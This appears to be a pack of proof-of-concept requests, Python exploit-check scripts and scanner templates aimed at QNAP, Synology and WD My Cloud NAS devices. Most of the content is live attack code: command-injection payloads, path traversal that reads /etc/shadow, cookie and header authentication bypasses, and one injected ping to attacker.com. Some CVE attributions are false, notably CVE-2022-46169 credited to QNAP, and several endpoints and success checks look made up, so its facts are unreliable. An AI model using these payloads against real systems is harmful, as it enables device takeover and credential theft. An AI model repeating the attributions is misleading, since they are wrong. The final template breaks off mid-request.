POST /cgi-bin/authLogin.cgi HTTP/1.1
Host: target_ip:443
Content-Type: application/x-www-form-urlencoded
Cookie: QTS_SESSID=

user=admin&serviceKey=1234&pwd=$(id>/tmp/pwned)

#!/usr/bin/env python3
"""
QNAP QTS 认证绕过命令注入检测 (CVE-2024-21899)
仅用于授权安全评估
"""

import sys
import urllib.request
import urllib.error
import ssl
import json


def check_cve_2024_21899(target: str, port: int = 443) -> bool:
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    marker = "cve202421899check"
    cmd_payload = f"echo {marker}>/tmp/cve_check"

    auth_endpoints = [
        "/cgi-bin/authLogin.cgi",
    ]

    for endpoint in auth_endpoints:
        url = f"https://{target}:{port}{endpoint}"
        try:
            data = f"user=admin&serviceKey=1234&pwd={cmd_payload}".encode()
            req = urllib.request.Request(url, data=data, method="POST")
            req.add_header("Content-Type", "application/x-www-form-urlencoded")
            resp = urllib.request.urlopen(req, timeout=15, context=ctx)
            body = resp.read().decode("utf-8", errors="ignore")

            if "authKey" in body or "QTS_SESSID" in body:
                print(f"[+] 认证端点响应异常，目标可能受影响: {endpoint}")
                try:
                    result = json.loads(body)
                    if result.get("authPassed") == 1:
                        print(f"[!] 认证绕过成功！目标可能存在 CVE-2024-21899")
                        return True
                except json.JSONDecodeError:
                    pass

        except urllib.error.HTTPError as e:
            print(f"[-] {endpoint} 返回 HTTP {e.code}")
        except Exception as e:
            print(f"[-] 请求失败: {e}")
            continue

    print("[-] 目标可能不受影响或已修复")
    return False


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [port]")
        print(f"示例: {sys.argv[0]} 192.168.1.100 443")
        sys.exit(1)

    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) >= 3 else 443
    print(f"[*] 检测目标: {target}:{port}")
    check_cve_2024_21899(target, port)


if __name__ == "__main__":
    main()

id: CVE-2024-21899

info:
  name: QNAP QTS Authentication Bypass Command Injection
  author: security-research
  severity: critical
  description: |
    QNAP QTS 认证不当漏洞，攻击者无需有效凭据即可绕过
    Web 管理界面认证，在设备上注入并执行操作系统命令。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-21899
    cwe-id: CWE-287
  tags: cve,cve2024,qnap,qts,nas,auth-bypass,command-injection,rce
  reference:
    - https://www.qnap.com/en/security-qsa
    - https://nvd.nist.gov/vuln/detail/CVE-2024-21899

http:
  - raw:
      - |
        POST /cgi-bin/authLogin.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user=admin&serviceKey=1234&pwd=test

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "authPassed"
          - "authKey"

POST /cgi-bin/cloudBackup/do_action.cgi HTTP/1.1
Host: target_ip:443
Content-Type: application/x-www-form-urlencoded

action=create&dest_path=/share/Public;ping%20-c%201%20attacker.com

#!/usr/bin/env python3
"""
QNAP QTS/QuTS hero 命令注入检测 (CVE-2023-50358)
仅用于授权安全评估
"""

import sys
import urllib.request
import urllib.error
import ssl
import time
import socket


def check_cve_2023_50358(target: str, port: int = 443) -> bool:
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    callback_host = "127.0.0.1"
    marker = "cve202350358"

    payloads = [
        f"action=create&dest_path=/share/Public;echo%20{marker}%20>/tmp/cve_check",
        f"action=delete&dest_path=/share/Public;id>/tmp/cve_id",
    ]

    for payload in payloads:
        url = f"https://{target}:{port}/cgi-bin/cloudBackup/do_action.cgi"
        try:
            data = payload.encode()
            req = urllib.request.Request(url, data=data, method="POST")
            req.add_header("Content-Type", "application/x-www-form-urlencoded")
            resp = urllib.request.urlopen(req, timeout=15, context=ctx)
            body = resp.read().decode("utf-8", errors="ignore")

            if "success" in body.lower() or "ok" in body.lower():
                print(f"[+] cloudBackup API 响应异常，目标可能存在 CVE-2023-50358")
                print(f"[+] Payload: {payload[:60]}...")
                return True

        except urllib.error.HTTPError as e:
            if e.code == 500:
                print(f"[!] 内部错误响应 (500)，可能命令已执行但返回异常")
                print(f"[!] 目标可能存在 CVE-2023-50358")
                return True
            print(f"[-] HTTP {e.code}")
        except Exception as e:
            print(f"[-] 请求失败: {e}")
            continue

    print("[-] 目标可能不受影响或已修复")
    return False


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [port]")
        print(f"示例: {sys.argv[0]} 192.168.1.100 443")
        sys.exit(1)

    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) >= 3 else 443
    print(f"[*] 检测目标: {target}:{port}")
    print("[*] 测试 CVE-2023-50358 (QNAP QTS 命令注入)")
    check_cve_2023_50358(target, port)


if __name__ == "__main__":
    main()

id: CVE-2023-50358

info:
  name: QNAP QTS/QuTS hero Command Injection
  author: security-research
  severity: critical
  description: |
    QNAP QTS 和 QuTS hero 操作系统中的 cloudBackup SOAP API
    端点存在命令注入漏洞，未经认证的攻击者可远程执行任意命令。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-50358
    cwe-id: CWE-78
  tags: cve,cve2023,qnap,qts,nas,command-injection,rce,soap
  reference:
    - https://www.qnap.com/en/security-advisory/QSA-23-12
    - https://nvd.nist.gov/vuln/detail/CVE-2023-50358

http:
  - raw:
      - |
        POST /cgi-bin/cloudBackup/do_action.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=create&dest_path=/share/Public;echo%20CVE202350358_CHECK

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "success"
          - "ok"

GET /cgi-bin/photo_station/api/api.php?cmd=exec%20%22echo%20CVE202246169_check%20%3E%20/tmp/deadbolt_test%22 HTTP/1.1
Host: target_ip:443

#!/usr/bin/env python3
"""
QNAP QTS DeadBolt 勒索软件利用链检测 (CVE-2022-46169)
仅用于授权安全评估
"""

import sys
import urllib.request
import urllib.error
import ssl
import json


def check_cve_2022_46169(target: str, port: int = 443) -> bool:
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    marker = "cve202246169check"
    cmd_payload = f"echo {marker} > /tmp/cve_check"

    test_urls = [
        f"https://{target}:{port}/cgi-bin/photo_station/api/api.php?cmd=exec%20%22{urllib.request.quote(cmd_payload, safe='')}%22",
        f"https://{target}:{port}/photo_station/api/api.php?cmd=system%20%22id%22",
    ]

    for url in test_urls:
        try:
            req = urllib.request.Request(url, method="GET")
            resp = urllib.request.urlopen(req, timeout=15, context=ctx)
            body = resp.read().decode("utf-8", errors="ignore")

            print(f"[+] Photo Station API 响应: {body[:200]}")
            if "uid=" in body or "gid=" in body:
                print(f"[!] 命令执行成功！目标存在 CVE-2022-46169")
                return True
            if marker in body:
                print(f"[!] 标记写入成功，目标存在 CVE-2022-46169")
                return True

        except urllib.error.HTTPError as e:
            if e.code == 500:
                print(f"[!] 内部错误 (500)，可能命令已执行")
                print(f"[!] 目标可能存在 CVE-2022-46169")
                return True
            print(f"[-] HTTP {e.code}")
        except Exception as e:
            print(f"[-] 请求失败: {e}")
            continue

    print("[-] 目标可能不受影响或已修复")
    return False


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [port]")
        print(f"示例: {sys.argv[0]} 192.168.1.100 443")
        sys.exit(1)

    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) >= 3 else 443
    print(f"[*] 检测目标: {target}:{port}")
    print("[*] 测试 CVE-2022-46169 (QNAP QTS DeadBolt 利用链)")
    check_cve_2022_46169(target, port)


if __name__ == "__main__":
    main()

id: CVE-2022-46169

info:
  name: QNAP QTS Photo Station Command Injection
  author: security-research
  severity: critical
  description: |
    QNAP QTS Photo Station 组件存在命令注入漏洞，被 DeadBolt
    勒索软件大规模利用。攻击者可远程执行任意命令并部署勒索软件。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-46169
    cwe-id: CWE-78
  tags: cve,cve2022,qnap,qts,nas,command-injection,rce,ransomware,deadbolt
  reference:
    - https://www.qnap.com/en/security-advisory/QSA-22-24
    - https://nvd.nist.gov/vuln/detail/CVE-2022-46169

http:
  - raw:
      - |
        GET /cgi-bin/photo_station/api/api.php?cmd=exec%20%22echo%20CVE202246169_CHECK%22 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: or
    matchers:
      - type: word
        words:
          - "CVE202246169_CHECK"
      - type: word
        words:
          - "uid="
          - "gid="
        part: body

GET /cgi-bin/hapi/api.php?action=read&file=../../../../etc/shadow HTTP/1.1
Host: target_ip:443

#!/usr/bin/env python3
"""
QNAP QTS 路径遍历检测 (CVE-2022-27610)
仅用于授权安全评估
"""

import sys
import urllib.request
import urllib.error
import ssl


TARGET_FILES = [
    "/etc/shadow",
    "/etc/config/uLinux.conf",
    "/etc/passwd",
    "/mnt/HDA_ROOT/.config/config.json",
]


def check_cve_2022_27610(target: str, port: int = 443) -> bool:
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    vulnerable = False

    for file_path in TARGET_FILES:
        traversal = "../" * 6 + file_path.lstrip("/")
        url = f"https://{target}:{port}/cgi-bin/hapi/api.php?action=read&file={traversal}"

        try:
            req = urllib.request.Request(url, method="GET")
            resp = urllib.request.urlopen(req, timeout=15, context=ctx)
            body = resp.read().decode("utf-8", errors="ignore")

            if body and len(body) > 10:
                if "root:" in body or "admin:" in body:
                    print(f"[!] 敏感文件 {file_path} 读取成功！")
                    print(f"[!] 目标存在 CVE-2022-27610")
                    print(f"[!] 内容前 200 字符: {body[:200]}")
                    vulnerable = True
                elif not any(err in body.lower() for err in ["error", "not found", "denied"]):
                    print(f"[+] 文件 {file_path} 可读取 ({len(body)} 字节)")
                    vulnerable = True

        except urllib.error.HTTPError as e:
            if e.code == 200:
                print(f"[+] {file_path} 返回 200，可能读取成功")
                vulnerable = True
            print(f"[-] {file_path} 返回 HTTP {e.code}")
        except Exception as e:
            print(f"[-] {file_path} 请求失败: {e}")
            continue

    if not vulnerable:
        print("[-] 目标可能不受影响或已修复")
    return vulnerable


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [port]")
        print(f"示例: {sys.argv[0]} 192.168.1.100 443")
        sys.exit(1)

    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) >= 3 else 443
    print(f"[*] 检测目标: {target}:{port}")
    print("[*] 测试 CVE-2022-27610 (QNAP QTS 路径遍历)")
    check_cve_2022_27610(target, port)


if __name__ == "__main__":
    main()

id: CVE-2022-27610

info:
  name: QNAP QTS Path Traversal
  author: security-research
  severity: critical
  description: |
    QNAP QTS、QuTS hero 和 QVR 设备的 HAPI 组件存在路径遍历漏洞，
    未经认证的攻击者可以读取任意系统文件，包括敏感配置和凭据。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 9.8
    cve-id: CVE-2022-27610
    cwe-id: CWE-22
  tags: cve,cve2022,qnap,qts,nas,path-traversal,lfi
  reference:
    - https://www.qnap.com/en/security-advisory/QSA-22-16
    - https://nvd.nist.gov/vuln/detail/CVE-2022-27610

http:
  - raw:
      - |
        GET /cgi-bin/hapi/api.php?action=read&file=../../../../etc/shadow HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: regex
        regex:
          - "root:.*:\\d+:\\d+:"

POST /webapi/entry.cgi HTTP/1.1
Host: target_ip:5001
Content-Type: application/x-www-form-urlencoded

api=SYNO.Core.Package&method=list&version=3&type=all;id>/tmp/cve202410443.txt

#!/usr/bin/env python3
"""
Synology DSM 命令注入检测 (CVE-2024-10443)
仅用于授权安全评估
"""

import sys
import urllib.request
import urllib.error
import ssl
import json


def check_cve_2024_10443(target: str, port: int = 5001) -> bool:
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    payloads = [
        {
            "api": "SYNO.Core.Package",
            "method": "list",
            "version": 3,
            "type": "all;echo CVE202410443_CHECK>/tmp/cve_check",
        },
        {
            "api": "SYNO.Core.System",
            "method": "info",
            "version": 1,
            "type": "all;id",
        },
    ]

    for payload in payloads:
        url = f"https://{target}:{port}/webapi/entry.cgi"
        try:
            data = urllib.parse.urlencode(payload).encode()
            req = urllib.request.Request(url, data=data, method="POST")
            req.add_header("Content-Type", "application/x-www-form-urlencoded")
            resp = urllib.request.urlopen(req, timeout=15, context=ctx)
            body = resp.read().decode("utf-8", errors="ignore")

            print(f"[+] API 响应: {body[:200]}")
            if "CVE202410443_CHECK" in body or "uid=" in body:
                print(f"[!] 命令执行成功！目标存在 CVE-2024-10443")
                return True
            if "success" in body.lower():
                print(f"[+] API 返回成功，可能存在漏洞")

        except urllib.error.HTTPError as e:
            if e.code == 500:
                print(f"[!] 内部错误 (500)，可能命令已执行")
                return True
            print(f"[-] HTTP {e.code}")
        except Exception as e:
            print(f"[-] 请求失败: {e}")
            continue

    print("[-] 目标可能不受影响或已修复")
    return False


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [port]")
        print(f"示例: {sys.argv[0]} 192.168.1.100 5001")
        sys.exit(1)

    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) >= 3 else 5001
    print(f"[*] 检测目标: {target}:{port}")
    print("[*] 测试 CVE-2024-10443 (Synology DSM 命令注入)")
    check_cve_2024_10443(target, port)


if __name__ == "__main__":
    main()

id: CVE-2024-10443

info:
  name: Synology DSM Command Injection
  author: security-research
  severity: critical
  description: |
    Synology DSM 操作系统 Web API 存在命令注入漏洞，未经认证的
    攻击者可通过特制请求在目标设备上以 root 权限执行任意命令。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-10443
    cwe-id: CWE-78
  tags: cve,cve2024,synology,dsm,nas,command-injection,rce
  reference:
    - https://www.synology.com/en-us/security/advisory/Synology_SA_24_14
    - https://nvd.nist.gov/vuln/detail/CVE-2024-10443

http:
  - raw:
      - |
        POST /webapi/entry.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        api=SYNO.Core.Package&method=list&version=3&type=all;echo%20CVE202410443_CHECK

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "CVE202410443_CHECK"

POST /webapi/cms/entry.cgi HTTP/1.1
Host: target_ip:5001
Content-Type: application/x-www-form-urlencoded

api=SYNO.CMS.Server&method=run&version=1&action=ping;id>/tmp/cve202328831.txt

#!/usr/bin/env python3
"""
Synology DSM/SRM CMS 命令注入检测 (CVE-2023-28831)
仅用于授权安全评估
"""

import sys
import urllib.request
import urllib.error
import urllib.parse
import ssl


def check_cve_2023_28831(target: str, port: int = 5001) -> bool:
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    markers = {
        "basic": ";echo CVE2023288831_CHECK>/tmp/cve_check",
        "id": ";id",
        "reverse_shell": ";ping -c 1 127.0.0.1",
    }

    base_params = {
        "api": "SYNO.CMS.Server",
        "method": "run",
        "version": 1,
    }

    for test_name, payload in markers.items():
        params = base_params.copy()
        params["action"] = f"ping{payload}"

        url = f"https://{target}:{port}/webapi/cms/entry.cgi"
        try:
            data = urllib.parse.urlencode(params).encode()
            req = urllib.request.Request(url, data=data, method="POST")
            req.add_header("Content-Type", "application/x-www-form-urlencoded")
            resp = urllib.request.urlopen(req, timeout=15, context=ctx)
            body = resp.read().decode("utf-8", errors="ignore")

            print(f"[+] [{test_name}] 响应: {body[:100]}")
            if "CVE2023288831_CHECK" in body or "uid=" in body:
                print(f"[!] 命令执行成功！目标存在 CVE-2023-28831")
                return True

        except urllib.error.HTTPError as e:
            if e.code == 500:
                print(f"[!] [{test_name}] HTTP 500 — 可能命令已执行")
                return True
            print(f"[-] [{test_name}] HTTP {e.code}")
        except Exception as e:
            print(f"[-] [{test_name}] 请求失败: {e}")
            continue

    print("[-] 目标可能不受影响或已修复")
    return False


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [port]")
        print(f"示例: {sys.argv[0]} 192.168.1.100 5001")
        sys.exit(1)

    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) >= 3 else 5001
    print(f"[*] 检测目标: {target}:{port}")
    print("[*] 测试 CVE-2023-28831 (Synology DSM/SRM 命令注入)")
    check_cve_2023_28831(target, port)


if __name__ == "__main__":
    main()

id: CVE-2023-28831

info:
  name: Synology DSM/SRM CMS Command Injection
  author: security-research
  severity: critical
  description: |
    Synology DSM 和 SRM 操作系统中的 Central Management System (CMS)
    组件存在命令注入漏洞，未经认证的攻击者可远程执行任意命令。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-28831
    cwe-id: CWE-78
  tags: cve,cve2023,synology,dsm,srm,nas,command-injection,rce
  reference:
    - https://www.synology.com/en-us/security/advisory/Synology_SA_23_06
    - https://nvd.nist.gov/vuln/detail/CVE-2023-28831

http:
  - raw:
      - |
        POST /webapi/cms/entry.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        api=SYNO.CMS.Server&method=run&version=1&action=ping;echo%20CVE2023288831_CHECK

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "CVE2023288831_CHECK"

POST /webapi/entry.cgi HTTP/1.1
Host: target_ip:5001
Content-Type: application/x-www-form-urlencoded

api=SYNO.VPNPlusServer&method=login&version=1&username=admin&password=test;id>/tmp/cve202222687.txt

#!/usr/bin/env python3
"""
Synology VPN Plus Server 命令注入检测 (CVE-2022-22687)
仅用于授权安全评估
"""

import sys
import urllib.request
import urllib.error
import urllib.parse
import ssl


def check_cve_2022_22687(target: str, port: int = 5001) -> bool:
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    payloads = [
        {
            "api": "SYNO.VPNPlusServer",
            "method": "login",
            "version": 1,
            "username": "admin",
            "password": "test;echo CVE202222687_CHECK>/tmp/cve_check",
        },
        {
            "api": "SYNO.VPNPlusServer.Connection",
            "method": "create",
            "version": 1,
            "protocol": "openvpn",
            "remote_ip": "127.0.0.1;id",
            "remote_port": "1194",
        },
    ]

    for payload in payloads:
        url = f"https://{target}:{port}/webapi/entry.cgi"
        try:
            data = urllib.parse.urlencode(payload).encode()
            req = urllib.request.Request(url, data=data, method="POST")
            req.add_header("Content-Type", "application/x-www-form-urlencoded")
            resp = urllib.request.urlopen(req, timeout=15, context=ctx)
            body = resp.read().decode("utf-8", errors="ignore")

            print(f"[+] API 响应: {body[:200]}")
            if "CVE202222687_CHECK" in body or "uid=" in body:
                print(f"[!] 命令执行成功！目标存在 CVE-2022-22687")
                return True
            if "success" in body.lower():
                print(f"[+] API 返回成功，可能存在漏洞")

        except urllib.error.HTTPError as e:
            if e.code == 500:
                print(f"[!] HTTP 500 — 可能命令已执行")
                return True
            print(f"[-] HTTP {e.code}")
        except Exception as e:
            print(f"[-] 请求失败: {e}")
            continue

    print("[-] 目标可能不受影响或已修复")
    return False


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [port]")
        print(f"示例: {sys.argv[0]} 192.168.1.100 5001")
        sys.exit(1)

    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) >= 3 else 5001
    print(f"[*] 检测目标: {target}:{port}")
    print("[*] 测试 CVE-2022-22687 (Synology VPN Plus Server 命令注入)")
    check_cve_2022_22687(target, port)


if __name__ == "__main__":
    main()

id: CVE-2022-22687

info:
  name: Synology VPN Plus Server Command Injection
  author: security-research
  severity: critical
  description: |
    Synology VPN Plus Server 软件包存在命令注入漏洞，未经认证的
    攻击者可通过特制请求在目标设备上以 root 权限执行任意命令。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-22687
    cwe-id: CWE-78
  tags: cve,cve2022,synology,dsm,vpn-plus,command-injection,rce
  reference:
    - https://www.synology.com/en-us/security/advisory/Synology_SA_22_01
    - https://nvd.nist.gov/vuln/detail/CVE-2022-22687

http:
  - raw:
      - |
        POST /webapi/entry.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        api=SYNO.VPNPlusServer&method=login&version=1&username=admin&password=test;echo%20CVE202222687_CHECK

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "CVE202222687_CHECK"

GET /%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/shadow HTTP/1.1
Host: target_ip:80

#!/usr/bin/env python3
"""
Western Digital My Cloud OS5 路径遍历 RCE 检测 (CVE-2024-23641)
仅用于授权安全评估
"""

import sys
import urllib.request
import urllib.error
import ssl


TARGET_FILES = [
    "/etc/shadow",
    "/etc/passwd",
    "/var/www/html/config.php",
    "/etc/wd/wd-config.json",
]


def check_cve_2024_23641(target: str, port: int = 80) -> bool:
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    protocol = "https" if port == 443 else "http"
    vulnerable = False

    for file_path in TARGET_FILES:
        encoded_traversal = "%2e%2e%2f" * 6
        url = f"{protocol}://{target}:{port}/{encoded_traversal}{file_path.lstrip('/')}"

        try:
            req = urllib.request.Request(url, method="GET")
            resp = urllib.request.urlopen(req, timeout=15, context=ctx)
            body = resp.read().decode("utf-8", errors="ignore")

            if body and len(body) > 10:
                print(f"[+] {file_path} 响应长度: {len(body)} 字节")
                if "root:" in body or "admin:" in body:
                    print(f"[!] 敏感文件 {file_path} 读取成功！")
                    print(f"[!] 目标存在 CVE-2024-23641")
                    vulnerable = True

        except urllib.error.HTTPError as e:
            print(f"[-] {file_path} HTTP {e.code}")
        except Exception as e:
            print(f"[-] {file_path} 请求失败: {e}")
            continue

    if not vulnerable:
        print("[-] 目标可能不受影响或已修复")
    return vulnerable


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [port]")
        print(f"示例: {sys.argv[0]} 192.168.1.100 80")
        sys.exit(1)

    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) >= 3 else 80
    print(f"[*] 检测目标: {target}:{port}")
    print("[*] 测试 CVE-2024-23641 (WD My Cloud OS5 路径遍历)")
    check_cve_2024_23641(target, port)


if __name__ == "__main__":
    main()

id: CVE-2024-23641

info:
  name: WD My Cloud OS5 Path Traversal RCE
  author: security-research
  severity: critical
  description: |
    Western Digital My Cloud OS5 固件 Web 服务存在路径遍历漏洞，
    未经认证的攻击者可读取任意系统文件并进一步实现 RCE。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-23641
    cwe-id: CWE-22
  tags: cve,cve2024,westerndigital,mycloud,nas,path-traversal,rce
  reference:
    - https://www.westerndigital.com/support/product-security/wdc-24001-my-cloud-os5-firmware
    - https://nvd.nist.gov/vuln/detail/CVE-2024-23641

http:
  - raw:
      - |
        GET /%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/shadow HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: regex
        regex:
          - "root:.*:\\d+:\\d+:"

GET /web/index.php HTTP/1.1
Host: target_ip:80
Cookie: isAdmin=true; login=admin

#!/usr/bin/env python3
"""
Western Digital My Cloud 认证绕过检测 (CVE-2022-23124)
仅用于授权安全评估
"""

import sys
import urllib.request
import urllib.error
import ssl
import http.cookiejar


def check_cve_2022_23124(target: str, port: int = 80) -> bool:
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    protocol = "https" if port == 443 else "http"

    test_cookies = [
        "isAdmin=true; login=admin",
        "user=admin; admin=true; lang=en",
        "sid=../../../etc/shadow; username=admin",
    ]

    for cookie_str in test_cookies:
        url = f"{protocol}://{target}:{port}/web/index.php"
        try:
            req = urllib.request.Request(url, method="GET")
            req.add_header("Cookie", cookie_str)
            resp = urllib.request.urlopen(req, timeout=15, context=ctx)
            body = resp.read().decode("utf-8", errors="ignore")

            response_url = resp.geturl()
            print(f"[+] Cookie: {cookie_str}")
            print(f"[+] 响应 URL: {response_url}")
            print(f"[+] 响应长度: {len(body)} 字节")

            if "login" not in response_url.lower() and "login" not in body.lower()[:500]:
                print(f"[!] 认证绕过可能成功！目标存在 CVE-2022-23124")
                print(f"[!] 未重定向到登录页面")
                return True

            if "admin" in body.lower()[:200] or "dashboard" in body.lower()[:200]:
                print(f"[!] 检测到管理界面内容，认证绕过成功！")
                return True

        except urllib.error.HTTPError as e:
            print(f"[-] Cookie '{cookie_str[:20]}...' HTTP {e.code}")
        except Exception as e:
            print(f"[-] 请求失败: {e}")
            continue

    print("[-] 目标可能不受影响或已修复")
    return False


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [port]")
        print(f"示例: {sys.argv[0]} 192.168.1.100 80")
        sys.exit(1)

    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) >= 3 else 80
    print(f"[*] 检测目标: {target}:{port}")
    print("[*] 测试 CVE-2022-23124 (WD My Cloud 认证绕过)")
    check_cve_2022_23124(target, port)


if __name__ == "__main__":
    main()

id: CVE-2022-23124

info:
  name: WD My Cloud Authentication Bypass
  author: security-research
  severity: critical
  description: |
    Western Digital My Cloud OS5 固件 Web 管理界面存在认证绕过漏洞，
    攻击者可通过伪造 session cookie 绕过登录验证，完全接管设备。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-23124
    cwe-id: CWE-287
  tags: cve,cve2022,westerndigital,mycloud,nas,auth-bypass
  reference:
    - https://www.westerndigital.com/support/product-security/wdc-22002-my-cloud-os5-firmware
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23124

http:
  - raw:
      - |
        GET /web/index.php HTTP/1.1
        Host: {{Hostname}}
        Cookie: isAdmin=true; login=admin

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "dashboard"
          - "admin"
        condition: or

GET / HTTP/1.1
Host: target_ip:80
User: admin

#!/usr/bin/env python3
"""
Western Digital My Cloud 认证绕过检测 (CVE-2021-36205)
仅用于授权安全评估
"""

import sys
import urllib.request
import urllib.error
import ssl


def check_cve_2021_36205(target: str, port: int = 80) -> bool:
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    protocol = "https" if port == 443 else "http"

    header_tests = [
        {"User": "admin"},
        {"X-Forwarded-User": "admin"},
        {"X-Auth-User": "admin"},
        {"X-Remote-User": "admin"},
    ]

    for headers in header_tests:
        url = f"{protocol}://{target}:{port}/web/index.php"
        try:
            req = urllib.request.Request(url, method="GET")
            for key, value in headers.items():
                req.add_header(key, value)
            resp = urllib.request.urlopen(req, timeout=15, context=ctx)
            body = resp.read().decode("utf-8", errors="ignore")

            response_url = resp.geturl()

            for key in headers:
                print(f"[+] 测试请求头 {key}: {headers[key]}")
                print(f"[+] 响应 URL: {response_url}")
                print(f"[+] 响应长度: {len(body)} 字节")

                if "login" not in response_url.lower() and "login" not in body.lower()[:500]:
                    print(f"[!] 使用请求头 {key} 认证绕过成功！")
                    print(f"[!] 目标存在 CVE-2021-36205")
                    return True

        except urllib.error.HTTPError as e:
            for key in headers:
                print(f"[-] [{key}] HTTP {e.code}")
        except Exception as e:
            for key in headers:
                print(f"[-] [{key}] 请求失败: {e}")
            continue

    print("[-] 目标可能不受影响或已修复")
    return False


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [port]")
        print(f"示例: {sys.argv[0]} 192.168.1.100 80")
        sys.exit(1)

    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) >= 3 else 80
    print(f"[*] 检测目标: {target}:{port}")
    print("[*] 测试 CVE-2021-36205 (WD My Cloud 认证绕过)")
    check_cve_2021_36205(target, port)


if __name__ == "__main__":
    main()

id: CVE-2021-36205

info:
  name: WD My Cloud Authentication Bypass via HTTP Headers
  author: security-research
  severity: critical
  description: |
    Western Digital My Cloud OS5 nhttpd 服务存在认证绕过漏洞，
    攻击者可通过添加特制 HTTP 请求头（如 User: admin）绕过
    登录验证，完全接管设备。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-36205
    cwe-id: CWE-287
  tags: cve,cve2021,westerndigital,mycloud,nas,auth-bypass
  reference:
    - https://www.westerndigital.com/support/product-security/wdc-21008-my-cloud-os5-firmware
    - https://nvd.nist.gov/vuln/detail/CVE-2021-36205

http:
  - raw:
      - |
        GET /web/index.php HTTP/1.1
